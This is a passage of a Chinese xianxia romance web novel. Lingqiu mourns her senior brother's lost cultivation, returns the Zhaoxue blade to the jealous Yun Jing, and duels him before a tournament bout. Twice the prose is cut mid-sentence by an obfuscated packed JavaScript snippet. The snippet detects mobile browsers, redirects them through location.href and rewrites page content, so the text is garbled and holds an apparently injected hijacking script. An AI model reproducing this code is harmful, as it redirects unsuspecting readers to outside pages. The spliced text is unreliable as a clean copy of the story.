“也是。”灵秋点点头,继续和霍羽碰杯,“敬师兄。” 霍羽饮尽杯中酒。 酒过三巡,灵秋定定望着他,想到境中那本没有屁用的族谱,悲从中来,轻声叹息道:“师兄,都怪我。” “当年如果不是我非拉着你去找什么苏氏族谱,我们就不会遇见十二魔,剑不会碎,你不会重伤,也不用把银子都花来替我铸剑。” 她趴在石桌上,晕晕乎乎地回想着当日情景,越想越后悔。 灵秋的天命血脉来自母亲,这种血脉只存在于人间的十世家内,因此母亲必是十世家中的人。 这些年来她一直在暗中寻找十世家的族谱,试图找出其中可能是母亲的人。 四年前,灵秋意外得到苏氏族谱的消息,便求着七师兄霍羽偷偷带自己下山去寻,不料返回途中遇见了十二魔中的戮空。 水境外为救云靖所损耗的修为尚未恢复,师兄为了保护她,与戮空交手,险些战死在那处荒山上。 苏氏族谱上的每一个人都死得明明白白,且各有记录在册的婚配与后代,没有任何可能与魔族或母亲有关。 她白跑一趟,却害了师兄。 经此一遭,霍羽虽然侥幸保住一条性命,却修为尽失,成了灵力低微、无法修炼的废人。就连他原本广阔无边的境也因此只剩方寸之地,平日间仅能存放些糕点酒壶之类的小玩意。 要知道在此之前,胥阳山上除了她和大师姐江芙,剑道天赋最强的便是七师兄霍羽。 他原本那样殷殷期盼着阳华仙会,可一切都被这场飞来横祸给毁了。 灵秋从来自恃天赋,根本不敢带入霍羽的处境。 四年来,她没有一日不后悔当日的莽撞。倒是霍羽本人却看得极开,还重伤躺在榻上时便大手一挥安排好下半生。 “阳华仙会这种大场面自然得去看看,大不了仙会以后,我下山成家立业去。做个普通人也没什么不好。天伦之乐,可是什么仙尊神尊求都求不来的福气。” 他揉揉灵秋的脑袋,看着她笑:“到时候小师妹你可不能忘了我,最好没事就送些仙药灵丹来,师兄我啊可要足足活满一百岁才舍得死。” 言犹在耳,可如今,灵秋看着眼前这把闪闪的铁剑,绝望地想:“师兄连成家立业的银子都花在我身上了。” 她想着霍羽孤独终老到一百岁的画面,在酒气熏陶下,越想心越揪作一团,忍不住抹起眼泪,后悔道:“师兄对不起,都是我害了你。” 霍羽面色微讶,盯着她瞧了半晌,心道:“小师妹的酒量什么时候变得这么浅了?” 他端起酒杯细细一嗅,神色一变,忙道:“错了错了,这是桂花醉,不是桂花酿。师妹,快别喝了。” 然而灵秋管不得那么多,端着酒杯,一口不停,越喝越哭,越哭越喝。 霍羽只好趁她擦眼泪的功夫,悄悄藏起酒杯,拍拍她的背,轻声安慰道:“这都不是你的错。你想啊,要是没有遇到十二魔,咱们怎么能救下阿翘呢?而且,要不是小师妹你拼尽性命救我,我早就死得硬邦邦的了,哪还能坐在这儿喝桂花醉呀。” “阿秋,自打师父将你带回逍遥派的第一天起,在我心里,你就是我这辈子唯一的小师妹,我愿意用这条命护着你。实不相瞒,当日我本就抱了必死的决心,全是因为小师妹才捡回一条命。这四年来,我没有一丝后悔当日,反倒一直庆幸自己当时陪你去了,也一直感激小师妹你救我一命。” 霍羽望着灵秋,仰头饮了一口酒,声音有些发涩:“你天赋卓越,或许师兄这辈子只能护你这一回而已,师妹,你莫再自责,就当……成全了我一回罢。” “不是的,师兄。” 灵秋垂着头,不知在想些什么。片刻,她眨了眨眼,握住霍羽的手,下定决心般诚恳地说:“师兄放心,我这辈子只要还有一口气在,就绝不会弃你于不顾。只要你不嫌弃,我一定会替你养老送终的。” 霍羽闻言呛了一口酒。 他将手从灵秋手中抽出来,连声道:“小师妹,别。” 霍羽温柔地笑了笑:“其实我已经找到要共度此生的姑娘了。” 柔光像一面水镜嵌映在他眼底,霍羽坚定道:“芸娘是位极好的女子,我已决意与她余生相守,不离不弃。此生无悔。” “我们打算明年成婚,婚后就住在胥阳山下,如此也好常回门派与师父和诸位同门小聚。此事我正打算等阳华仙会结束后说与师父。” 霍羽道:“这算私定终身,我还怕师父不答应,得循序渐进着来。这件事我如今只和师妹你讲了,你可千万别告诉别人。” 灵秋迷茫地点点头。 霍羽扬头冲她怀中的铁剑一笑,小声说:“其实这剑也有你未来七嫂的份,你日后可要记得,别光给我一个人带仙药啊。” “放心吧师兄。”灵秋从师兄就要孤独终老的悲伤中缓过神,吸了吸鼻子,“我会给你和七嫂带很多很多仙药灵丹,保管你们一家人都能整整齐齐的活到一百岁。” 霍羽看着她笑,悄悄摸出一只杯子,灌了解酒药,推到她面前,劝道:“师妹继续喝。” 灵秋一口闷完。 凉风吹过,她看着手中铁剑,冷不丁道:“师兄,你知道银霜楼的人在哪儿吗?” 咔嚓一声,霍羽捏碎了手中瓷杯。 当年水境之外,师妹为云靖取心头血,丢了一身修为,后来回到胥阳山,师父逼问她缘由,她垂眸想了半晌,只吐出三个字:“他好看。” 因为好看,她便不惜豁出一条性命。 师父闻言大怒,罚她卸去头饰,从此只着素衣,修道念经,以除眼欲。 后来,师妹说自己与云靖约定一道上朝云锋太虚宫,师父二话不说替她卜了一卦,批文:“相思成空,尘缘尽误,经年离索,碧落难逢。” 这是一则凶卦,大凶。 师父惊呼:“哎呀呀,你二人乃天赐孽缘也!”警告她绝不可再与云靖接触,否则定会招致血光之灾,重则恐有性命之忧。 师妹对此不屑一顾,这头刚说完“老头迂腐”,转头便与戮空狭路相逢。 彼时戮空手持兰翘,正欲将她活吞进肚,一见又有两人送上门,还都是灵力充沛的修士,便当场扔了兰翘,朝他们扑来。 师妹的修为都给了云靖,心头血又消耗了她的血脉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265398|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之力,直接导致在遭遇戮空时她灵力不足,根本无力招架。 他晕死过去后,师妹护着他,险被生吞活剥。危急时刻,还是个孩子的兰翘竟然不顾性命,爬起来挡在了两人身前。 兰翘被戮空一掌扇飞。然而她命不该绝,受了戮空一掌,居然只是晕了过去。 师妹走时顺手将人捡了。 据大师姐后来说,师妹将他和兰翘带回门派时浑身是血,意识微弱,几乎只剩一口气。 那柄新打不到一年的铁剑落地便碎了,七岁的兰翘被师妹护在怀里,只知道一个劲儿的打冷颤。 师父挨个探过师妹和他的鼻息,醒过神来的兰翘拽着师父的袖子哆哆嗦嗦地重复:“流了好多血,流了好多血……” 起初大家都以为兰翘说的是他,直到逍遥散人将他从师妹身上扶下来,倒吸一口凉气 众人这才瞧见师妹竟不惜割开自己的灵脉,用血护住他的心脉,一路强撑回胥阳山。 他衣袍上的血大半都是她的。 后来他捡回一条命却废了修为,师妹则因此番重创,整整闭关四年,四年间再没下过胥阳山。 这四年里,整个逍遥派的人提心吊胆,过得艰难,唯一称得上好事的只有一件——师妹因击杀千年蛟一事名声大噪,破格跳过终选,直接获得参与阳华仙会的资格。 打这之后,整个门派的人都和师父统一了战线,坚决认定师妹与那银霜楼的云靖乃是一段天赐孽缘,就连此番阳华仙会所住的院子,也通过一致表决,特意选了距离银霜楼一干人等最远的西南角。 至于师妹本人—— 她决心与云靖一刀两断,当着师父和诸位同门发誓此生绝不再为花草莺燕、美貌颜色所动。 可她如今却突然打听起银霜楼的方位。 霍羽自然不愿让师妹与银霜楼扯上丝毫关系,听她提到这三个字,整个人险些从石凳上跳起来,连酒气都散了个干净。 他望着眼前一身素衣的少女,警觉道:“师妹,你莫非还对那少楼主念念不忘?” “自然不是。”灵秋道:“自当日一事后,我已深知颜色误人的道理,如今就算是路边的棠花也决计不会多看一眼。” 她从境中变出召雪刀,解释说:“我只不过是想将这刀还他罢了。” 霍羽道:“我替你去还。” 说着,他伸手握上召雪刀柄,然而顷刻之间便被强力击飞出二里地。 灵秋忙小跑上前扶起他,关切道:“师兄,你没事吧?” 霍羽手捂胸口,压下喉中血腥,若无其事道:“我很好。” 灵秋道:“看来这刀不容旁人触碰,只能由我亲自去还了。师兄放心,我现在就去,去去就来,绝不会多耽误半刻。” 霍羽又道:“可你刚饮过桂花醉。此酒甚烈,还是歇一晚,明日再去吧。” 灵秋却坚决道:“我已经完全清醒了。实不相瞒,自打入了阳华境我便一直想将这刀送回去,如今回想起当日之事,就是再多留它一晚也不愿。如师父所说,我与那云靖是一段天赐孽缘,既然如此,还是早早断干净最好。” 霍羽闻言称是,伸手朝东北方一指,道:“你往离我们最远的那处院子去就是。” 灵秋点点头,御剑往那方飞去。 11.难开口反弄巧成拙 珠色大门两侧各站两位银霜楼弟子,正施法点亮明灯,远远只见一道身影落地。 那女子自暗处信步走出,手持一柄长刀,素衣随风微扬,身姿挺俊,容光照人,举手投足间尽显从容。 随她走近,空气里弥漫起一阵好闻的淡淡酒香。 两人纷纷停下指尖咒术,好言问道:“姑娘何事?” 灵秋答:“逍遥派凌秋求见银霜楼少楼主。” 两个弟子面色一滞,这才瞧见她手中所持之物耀眼非凡,正是传说中的召雪刀。 原来她就是逍遥派的凌秋,那个凌秋。 弟子们面上的温和如天边残月,一瞬被阴翳覆盖。一人默不作声,一人冷言道:“凌姑娘稀客,只是恐怕我家少主此刻无暇见您。” “既如此,我不必见他。”灵秋递出召雪刀,“我只想归还这把刀,此乃银霜楼之物,还请两位转交给少楼主。” 弟子甲闻言欲伸手接刀,却被弟子乙按下。 弟子乙道:“此物乃多年前生死关头,我家少楼主亲手赠予姑娘。少楼主一番厚谊为人所负,如今姑娘难道不该至少当面归还吗?” 灵秋道:“你家少主无暇见客,不是吗?” 弟子乙道:“少主无暇,凌姑娘可在此静候。毕竟,等候之道,姑娘应当极为熟稔了。” 灵秋闻言一愣,收了刀,微微一笑,应道:“好,我就在这儿等。” 两个弟子挂好灯,回身进了院子。 朱门缓缓闭拢,风来了,轻轻撞在铜镀的门环上,犹豫片刻,又退向四周。 飞檐角下悬挂的纱灯摇摇晃晃,空气里,一波波清淡的味道接连涌动——那是不属于这个季节的芙蓉花香。 灵秋站在原地许久,天上云的影子铺洒在四周,在她身上悄然游动。 晴朗的夜,月亮总会破云而出。 淡淡的银光戳破暮色,轻轻拢住人间,灵秋突然难耐地捂住胸口。 她捞起袖子,短短一个动作的功夫,额间已密密布满了细汗。 手臂上,脉中原本嚣张缠绕的蛊虫正在月光作用下不安地跳动。 十数条青黑色的细线以一种极其缓慢的速度从白皙皮肉间钻出,疯狂地挣扎着。 这是当初潜入仙门前,焱狰为了控制她所种下的子母血蛊。中了这种蛊的人必须每半年服用一次解药压制体内的蛊虫,否则便会血气逆流,心脉爆裂而死。 唯有如此,魔族才有每半年一次,非与她联络不可的理由。 距上次服用解药已经快半年了,这几日,灵秋体内的蛊虫变得越来越难以控制。 这虫最喜月光,是故近来每个月夜,她都竭力躲避着月亮。 一旦被月光照射,蛊虫躁动,她便不得不承受撕心裂肺的剧痛。 那两个弟子的反应并不难懂,他们是责怪她没能遵守与云靖的约定。 灵秋望着月亮,心想:“如此也好,云靖等了她一次,她也等他一回。再有什么不够的,都以今夜的痛楚抵了,此后二人两不相欠罢了。” 抱着这样的想法,她一动不动,任由月光在身上淋漓。 小初春的新月悬在天上,像一只轻盈的弯钩,又像一把不见血温柔刀,婉转剖刺着地上人的心。 云靖回到小院时,灵秋仍站在原处。 她一回头,毫无防备地撞进一双黑沉沉的眼睛。 夜的阴影想将他隐没在暗处,那对眼珠却在残火照射下闪出明亮的光。 来人背着月色走近,身影被拉得颀长,一路行来,如同脚踏一条蜿蜒的银色光带。 他的皮肤像瓷一样白皙,长密密的睫毛轻促扑闪着,一双眼睛温润沁水,睁得大大的,像是对她的突然到访感到十分讶然。 时间的素手抚平稚气,勾勒出流畅而动人的线条,将他自滚滚的记忆洪流骤然推入现实,成为她眼前具体而清晰的一笔月色。 “我是来找你的。” 只一眼,灵秋便认定了他的身份。 云靖瞟一眼她怀中的召雪刀,没有应声,径直往朱门走去。 他握住门环,低垂脑袋,像是在经历某种胶着的拉扯,片刻,忽而出声问道:“今日是你到阳华境的第一日,对吗?” 灵秋不明白这一问有何深意,诚实答道:“是。” 叮—— 门环发出响亮而短促的响声,方才点灯的两个弟子探出脑袋,见到云靖却纷纷露出惊讶的神情,讶异道:“少楼主?你什么时候出去的?” 云靖未答,转身对灵秋说:“跟我来吧。” “不用了。”灵秋看着他的脸,不自觉往后退了一步,“我们就在这儿说。” 啪—— 大风卷折四周草木。 灵秋道:“我被师父罚跪,是偷跑出来的。” “哦,偷跑。”云靖点点头,接着说: “并非我不愿。” 他抬起手臂,有些委屈:“你瞧,我的衣裳都破成这样了。” 灵秋这才注意到,云靖身上的白袍沾了些刺眼的泥点子,从肩膀到小臂破开一道长长的口子,只能堪堪遮住身体。那切口齐整,很像被人刻意用剑挑破的。 谁欺负他了吗? 灵秋试图在他脸上找出些许蛛丝马迹,然而云靖却朝她微微一笑。 “你先进来,等我换好衣服我们再谈,好吗?” 他的语气温和而得体,话音刚落,止不住轻轻咳嗽几声。 一旁的弟子立即关心道:“少楼主,你快去更衣吧,夜间寒凉,若受了风就不好了。”言罢,毫无掩饰地瞪了灵秋一眼,像是责怪。 “好吧。” 灵秋走到云靖身侧,心想就这一回,最后一回。 经年不见,他竟然比她高出了半个脑袋,灵秋轻轻仰起头,问道:“我该在哪儿等你?” 边上弟子一愣,立即向她示意:“请凌姑娘随我来。” 弟子将她带入院子,七拐八弯,走了好久,终于抵达一处厢房。 骤然逃离月光的灵秋深吸一口气,擦了把额间的虚汗。 天晓得。 她原本打算扔下召雪转身就走,却不想真的见到云靖以后怎么也无法再心生敷衍。 她是想好好同他说句话的。或许对于三年前的爽约,她心中总还存有几分歉疚。 灵秋决心安静地等下去。 她想,云靖的性子似乎与以前不同了。 她本以为他会像五年前在水境外一样冲自己大吼,没想到他居然意外的温和。 如此一来或许好办很多。 灵秋在屋内耐心地等着。 她等了许久,久到忍不住离开凳子,在屋子里四处闲逛。 这间屋子很宽敞,她所在的地方是会客厅,左侧一道屏风,薄纱之后隐约可见耸立的木质书架。 灵秋把召雪刀放到一边,轻轻绕过去,只见墙壁四周悬挂字画,山水、花鸟与人物交相辉映,十足古意。 虽是参与仙会的临时居所,这处书房的布置却毫不含糊,满架书册井然有序,照明用的不是油灯,而是珍稀难得的上品夜明珠。 房中琳琅满目的布置像一场盛大的珍品展览,灵秋一一看过去。 紫檀螺钿踩在脚下,翡翠浮雕悬在头顶,她满心所想却是胥阳山贫瘠的裂土与逍遥派那几间潦草的茅屋。 白日里,兰翘向她说起西南角那方狭窄院落时眼中闪出兴奋的光。 “阳华仙会真好。”她说,“我从来没有住过这么好的房子!” 兰翘不知道,作为仙门世家的银霜楼随随便便一间客房的花费就抵得上整个逍遥派数十年的开支。 灵秋站在书房中央,脑中不断浮现出三个顶天立地的大字:凭什么,凭什么? 老天真的一点也不公平。 她越看越觉得不对味,疾步退了出来。房门发出一声轻响,一个面生的少年提着食盒走进来。 “劳姑娘久候。” 他将食盒里的糕点一一摆到桌上:“这是银霜楼特制的点心,请姑娘品尝。” 说完,不等灵秋反应,迅速退出了屋子。 熟悉的香气扑鼻而来,是桂花糕,满桌的桂花糕。 灵秋低头嗅了嗅,没打算吃。方才一路走来,她觉得银霜楼的人看自己的眼神非常,非常怪异。 想到方才院门口那两个弟子对她的态度,灵秋觉得,这糕说不定有毒。 她远离了桌子,继续等啊等,等到热气腾腾的桂花糕凉透了,终于忍不住推开房门。 月色正浓,体内的一阵剧痛又将她逼回屋内。 房间右侧,是一道细厚的垂纱,外部装饰着漂亮的珍珠帘。 灵秋百无聊赖地掀开帘子,吓了一跳,心道:“好大的一张床!” 原来这是一处卧房。 鼻尖环绕着一股浓郁的气息,像是某种独特的熏香。先前这气味被厚重的帘子牢牢锁在卧房内,如今乍然挣脱束缚,很快飘得满屋都是。 灵秋不受控制地打了个哈欠。 这一天可真够折腾的。 她盯着那张巨大的床,伸手按了按,床榻柔软似云,绒布在灯光下微微闪烁,散发出诱人的光泽。 床总不会下毒吧。 抱着这种想法,她轻轻靠了上去,在心底悄悄说:“一小会儿,就眯一小会儿。” 灵秋迅速陷入了梦乡。迷迷糊糊间,脸颊上擦过痒痒的触感,她忍不住埋了埋脑袋,嘟囔道:“就睡一小会儿。” 叮铃铃—— 檐下风铃发出一串悦耳的音符。 耳边突然传来一声轻笑。 灵秋猛地睁开眼睛,正对上云靖的脸。 他斜靠在一侧,静静看着她,眼中蒙了一层堪称柔和的水雾。 两人隔着不远不近的距离,灵秋正好能够清晰瞧见他从耳畔一路绵延到脖颈的绯红,以及那细嫩的、薄纱般剔透的肌肤。 流畅的曲线勾勒出纤长而劲瘦的脖颈,一路延伸,隐没进月白色的衣领里。 她不敢再往下看,匆匆移开目光。 云靖微微一笑,起身朝她走来。 “你做什么!?” 她猛地站起来,小腿因久蜷在床边的别扭姿势涌起一股酸痛。痛也顾不得,她脑中警报叮铃作响,全部的直觉都在呐喊着远离。 有那么一时半刻,灵秋痛苦地想,原来这四年,这么多经书,统统都白念了。 她一退三丈远,云靖脸上的笑意浓得化不开。 他信步错过她,行至外间,拿过桌上形制古朴的茶具。 云靖绕到桌对面,面向她斟茶,好言问道:“你找我有什么事?” 灵秋答:“我是来还刀的。” 她递出召雪,云靖递出茶盏,一刀一盏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273228|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就这么正对在半空。 盏中茶水泛起横波,云靖面色一僵,一字一句道:“为什么?” 总不能说是因为想斩断孽缘跟你八辈子不复相见吧。 灵秋借口道:“托你的福,我已经有趁手的武器,暂时不需要这把刀了。” “是吗?” 云靖放下茶盏,一道清脆的声音随之撞入两人耳膜。 他垂下头,咬牙道:“可惜啊,我一点也不喜欢心在别人那里的东西。” 耐着性子装了一晚上谦谦君子。 扮作小厮送她亲手蒸制的桂花糕。 坐在床边静静注视她的睡颜,心满意足地放任屋内熏香覆盖她身上难闻的酒味。 一切的一切,最后竟然迎来她一刀两断,归还召雪的宣判。 不需要了? 因为一把平平无奇的铁剑?抑或是因为送她铁剑的那个人? 五年,她身边有了新的、他不认识的人,是否就是因为这个人,三年前的太虚宫,她才会无故爽约? 云靖深深凝视着灵秋,有一瞬间,他真的很想大声质问她:“我将你当作至交好友,你呢?你可曾对我有过哪怕一刻真心?” 灵秋看着云靖那双点漆般的眼睛,从层层复杂的情绪中勉强琢磨出几分愤愤不平。 难怪她举着剑,手都酸了,此人却没有半分要接的意思。 原来是嫌弃召雪认她为主。 解除剑与人之间的主仆契约,需要修士的灵脉血。 今日她本不该再动灵脉,然而刀却不得不还。灵秋挥动召雪,干脆利落地割开手腕。 鲜血染过刀刃,召雪刀发出小声的嗡鸣。她重新将召雪递给云靖,却迎上他冷冰冰的目光。 云靖露出讥诮的神情,嘲讽道:“破铜烂铁,不如随手扔了。”言罢,推开房门,扬长而去。 还不够?她连灵脉都割了! 还件东西这种微不足道的小事却足足折腾了小半个晚上,灵秋感到心烦意乱。 她看着手里的召雪,不顾天上月亮正圆,飞身追向云靖。 两人对立在院子中央。 “让开。” 云靖不管不顾地往前走,灵秋立即抛出一道结界将他拦住。 被迫止步的云靖盯着她,眼神阴沉沉的,声音涩得发紧。 “凌秋,你是不是只会用这种法子将人困住?” 灵秋狠狠咬了下嘴唇,走到他面前。 “少楼主,召雪刀已不认我为主,你究竟还在别扭些什么?” 看来先前觉得他变了,完全是她一时眼瞎。 结界内,不知这句话哪里再度触动了云靖的神经,话音刚落,他刷的召出凝霜剑,猛劈向四周。 碎溅的冰晶间,传来他怨怒的声音。云靖愤恨地瞪着她,咬牙切齿一字一顿地说:“凌秋,你就是个笨蛋。” “你骂我?”灵秋难以置信地看着他,简直要被气笑了,“你居然敢骂我?你有什么资格骂我?” 当年若不是因为救了他,她又怎么会元气大伤,险些惨死在戮空手下,还害了七师兄? “是,我没有资格。”云靖脸上浮现出讥诮的表情:“不告而别的人不是我,无故爽约的人也不是我。我有什么资格过问你凌大姑娘的私事呢?毕竟我不像你,寡情薄义,不需要的东西就干脆利落地一脚踹开。” 灵秋被他嘲讽的语气狠狠刺了一下。 月色锋利,身上的疼痛从未如此令人难以忍受。啪啪啪啪——她听见自己脑子里那根名为“忍耐”的弦四分五裂,碎成了粉末。 “你找死。” 气血上头,她挽过召雪刀,朝着云靖怒劈过去。 “怎么,说不过就要开打么?” 云靖举起凝霜剑,毫不含糊地接下这一招。 两人周围气浪翻涌,冲力爆开,屋檐下,一排风铃发出急促的尖叫,惊动了整座院子。 于风是最先赶到现场的人,彼时,云靖和灵秋早已打得不可开交。 凝霜剑与召雪刀在空中相撞,发出剧烈刺耳的嗡鸣声。 于风带着一群弟子围着两人团团转圈,扯着嗓子挥手大喊:“嘿!嘿!阳华境内禁止私斗!” 嘭! 云靖被击退数步,他身上,新换的衣袍从肩膀到小臂,再一次被剑气划破。 刷的一声,召雪刀冲他飞来,倒插在他身侧。同时,只听一阵纷乱的拔剑声,四周的银霜楼弟子纷纷亮出宝剑,将灵秋团团围在中间。 空气骤然变得沉默而紧绷。 灵秋唤出铁剑,飞至半空。她面色冷峻,如霜雪尽覆。 云正和段若霜站在远处,灵秋一眼认出他们。 她朝那方看去,发觉站在这两人身后的几位长老很有几分面熟。 他们一早赶到了现场,却并未上前,而是始终沉默地旁观着,任由她和云靖对打。 灵秋无意间对上段若霜的脸,破天荒地在她眉间捕捉到一丝一闪而过的、深重的悲戚。不知为何,那神色竟然令她心头一震。 灵秋想起当日在水境外,这几个人缓慢挪动脚步遮挡住自己的情形,骤然失去了再战下去的兴致。 她居高临下地俯视云靖,竭力平声道:“从今日起,你我二人,恩怨俱消,两不相欠。” 言罢,再不看他一眼,化作一道凌厉的剑光,消失在浓墨的天际。 12.轻认输偏作不了柔 云靖往后退了几步。咣当一声,凝霜剑顺着破烂烂的长袖滑向石板,被于风眼疾手快地接住。 他对云靖道:“你的修为虽不及凌秋,奋力一搏却未必会输,方才为何任由她使出那一击!?” 于风的语气夹杂了十足的愤懑,言罢,只听云靖轻抽了口气,平静地说:“师兄,我好像又搞砸了。” 于风蹙眉看他,只见他微微仰首,目光空洞地盯着那方浓黑的天,睫毛扑闪着,一下下扫过虚空,琥珀般剔透的眼珠都黯淡成了灰色。 月亮身侧缓缓飘过一层乌云,云靖被一种巨大而空洞的失落所裹挟。 手臂上,碎布条还在晚间习习的冷风里晃晃悠悠,天空却不合时宜地飘起小雨。 初春的雨冰凉刺骨,将世界浇成湿漉漉的一片。云靖垂首道:“我没想和她闹成这样。” 他又想起方才西南角那处院子里,一男一女和谐对饮的场景,无意识地紧紧握住了拳头。 雨还下着,嫉妒的火却一路风驰电掣地烧过。 心头涌上一股熟悉的感受,发酸发苦,像时刻揣着一颗柠檬,连皮带肉,毫无道理地放在嘴边嚼了半宿,先一大口,再一小口,最后终于整个咽下,如鲠在喉。 太虚宫的雨早就停了,云靖却觉得自己还被困在原地,直到今夜才终于看到希望走出雨幕。然而连续多日的晴天骤然迎来这场小雨,于是他走出,走出又困住。 凌秋好像喜欢温柔的人。 他躲在树影笼罩的暗处,眼见着那个什么师兄,轻声细语,又是拿糕又是送剑,又是碰杯又是斟酒,明明笑得那么难看,她也笑盈盈地照单全收。 与他相比,自己似乎从来都不温和。 有那么一个时刻,云靖以为在很多种有可能的原因里,其中一条或许该怪自己从前不够温柔,这才招致接连的辜负。所以他决意假装温柔,比那个人更温柔。 可他偏偏学不会温柔。 屋内,云靖擦拭着头发上的水珠,焦灼地问于风:“我不过是想和她好好做朋友,真的就这么难吗?” “朋友!?”于风闻言一口桂花糕呛进喉咙里。 咳咳咳! 他拍着胸口,用一种无比震撼的目光看着云靖:“你居然当凌秋是朋友!?” 他重重咬下最后两个字,忙着替他斟茶的云靖抬头,脸上闪过短促的迷茫。 于风立即又道:“我是说,你居然还当她是朋友?” 云靖点点头:“师兄你不知道,其实凌秋对我很好。当年她是因为我才会费力把那些过世的修士全都带出水境。我当时以为死去的人只有一个,凌秋却把所有的人都带出来了。她很好,真的。” 他看着一桌子的桂花糕,小声道:“她会这么做,一定是因为我跟她说的那番话,她真的有把我放在心上。” 于风盯着他看。 作为银霜楼少楼主,云靖的人生总是一帆风顺。唯一的两次,不,是三次波折,全都只和一个人有关。 幼时,丹碧峰香满楼,他风雨不辞,苦盼凌秋六个月不得。 五年后,水境之中,他为凌秋挡下蛟龙一击,伤重近死。 又过了两年,朝云峰太虚宫,他为她随口一诺,离家万里,却再度被她辜负。 按照门内天师的说法,凌秋就是他这辈子的一道劫。 难渡。 然而云靖不听,听了也不信。 整个银霜楼内,众人皆知他苦恋逍遥派的凌姑娘不得,却不想他只自认将她当作好友。 于风打量着整间屋子,心道:“朋友不会嘴上说着莫不关心,背地里却跑到人家院子偷看,被人察觉割破衣衫,然后因心生妒忌不慎踩空,一脚摔进泥地。” “朋友不会刻意命人在路上拖延时间,紧赶慢赶地装饰屋子,将人带进冒充客房的卧房,然后转头去蒸桂花糕,留人在自己的床上从傍晚睡到深夜,自己坐在一边欣赏。” “朋友不会刻意在珠帘后放置浓重的熏香,试图以此掩盖掉对方身上自己不喜欢的气味。更不会冒充小厮送去糕点,而后躲在暗处静静观察,因对方一口未动心绪起伏,跌宕不休。” 反正他自己不会这么做。 默默围观全程的于风暗叹一声。 云靖痴恋凌秋,全世界只有两个人还蒙在鼓里,一个是凌秋本人,另一个是他自己。 于风很想告诉云靖,醒醒吧,这根本解释不通。 可他不会。 他巴不得他只把凌秋当作朋友,把这份感情当作普通的友情。 真正的爱情是珍贵的,难以磨灭的,一旦全心全意地爱上一个人,你的心就从此被她捏在手里,任由她的掌控,时刻承担着爆裂的风险。 在意识到你爱着的人其实并不爱,甚至不怎么喜欢你的时候,人会很痛苦。 于风不想让师弟陷入那样可悲的境地。 凌秋两次三番地爽约,丝毫不顾及云靖当日的救命之恩。他甚至觉得,这样的人做朋友也不怎么够格。 所以于风叹了口气,起身对云靖道:“早些休息吧,师弟。明日阳华仙会的第一场对擂,你好好准备,一定能赢。” 云靖这才将注意力转回正事上。 他问于风:“师兄可知道明日比试抽签的结果?我的对手是谁?” 于风扶着门框,叹出今晚的最后一口气:“你已经与她打过一场了。” 云靖的表情蓦然变了。 于风生怕他又像刚才一样不打算尽全力,眼神一转,心生一计,连忙接着说:“听说凌秋一路比试从未有过哪怕一场败绩,明日你若全力以赴将她击败,说不定她会从此对你另眼相看,求着你与她交好。” 云靖想象着灵秋主动向自己示好的场景,脑海里一片空白。 他想不出。 不过这确实是一个从未试过的法子。 他不介意一试。 翌日清晨,阳华境西南角。 时隔四年,灵秋第一次与人对打,同过去一样,江芙替她精心束发。 或许是因为昨日做戏罚跪后产生的愧疚,师父破天荒地许她脱去素衣,尽情装扮。 体内仿佛还残留着昨夜蛊虫所带来的隐痛,灵秋盯着窗外发呆。 她面色冷寂,却穿了件荔枝色的纱裙。 江芙替她挽好头发,戴上兰翘送的珊瑚挂朱钗,又从袖中抽出一条长长的红绸带,轻盈地在发髻上绕了个圈,一拍手,笑道:“好了!” 灵秋这才回过神。 四年来,她还是头回装扮得如此招摇,自己对着镜中人,不由看得呆了。 她推开门,整个逍遥派站在她身后,一行人浩浩荡荡地往擂台去,一路吸引了众多目光。 众人只瞧见一众布衣之中,唯独灵秋和她身边梳着总角的小姑娘身穿纱裙,衣着鲜亮,尤其惹眼。 擂台边的云靖第一眼见到的就是这样一幅场景。 红绸鲜艳,迎了风翩翩摇曳,如同一只振翅欲飞的蝶,在雨后初晴的空气中勾勒出柔逸的轮廓。 灵秋走在人群最首,水目山眉,丹唇点红,如碎玉明珠,琼枝秋棠,锋利而姿媚。 只此一眼,便将他带向没有尽头的黄昏。 不是葭色,不是浓黑,不是沉沉的灰也不是漠漠的白,她是蜜色的红,耀目的金,她就该是这样的。 云靖想,这才是他记忆里的凌秋。 他站在江心擂台边,一点点注视着灵秋走近。 她正与身后的青年认真地交谈,不知听到什么,嘴角忽而挑起一抹弧度,笑着摆了摆手。那笑容简直刺眼。 云靖深深注视着二人的一举一动,下个瞬间,青年忽然伸手,亲昵地揉了揉灵秋的头。 那柄铁剑被她抱在怀里,守护在两人之间,在晨曦的照射下耀武扬威,闪烁出刺目的光。 他们就这么密切地聊着天,终于走近了。 云靖倏地偏过脑袋,余光却无比敏锐地捕捉到两人目不斜视的动作。 灵秋漠然路过他,就像路过路边一条不知名的狗。 凌霜剑蓦地挡住她的去路。 灵秋终于转过头,眼神里夹杂着冷漠与不耐。 难怪昨日银霜楼的那些人不阻止她与云靖对打。 他们大概早就知道了今日的抽签结果,故意估测她的实力罢了。 灵秋在心底冷笑连连,只听云靖用笃定的语气宣布道:“今日,我会赢你。” 你当然会。 灵秋心想,恐怕自己昨日所用的招数都被他们分析透了。 她甚至开始怀疑昨日云靖让她久等,闹别扭耍无赖的行为动机恐怕就是要激她出手。 要知道这种事在仙门大比中不少见,她从前也遇到过。 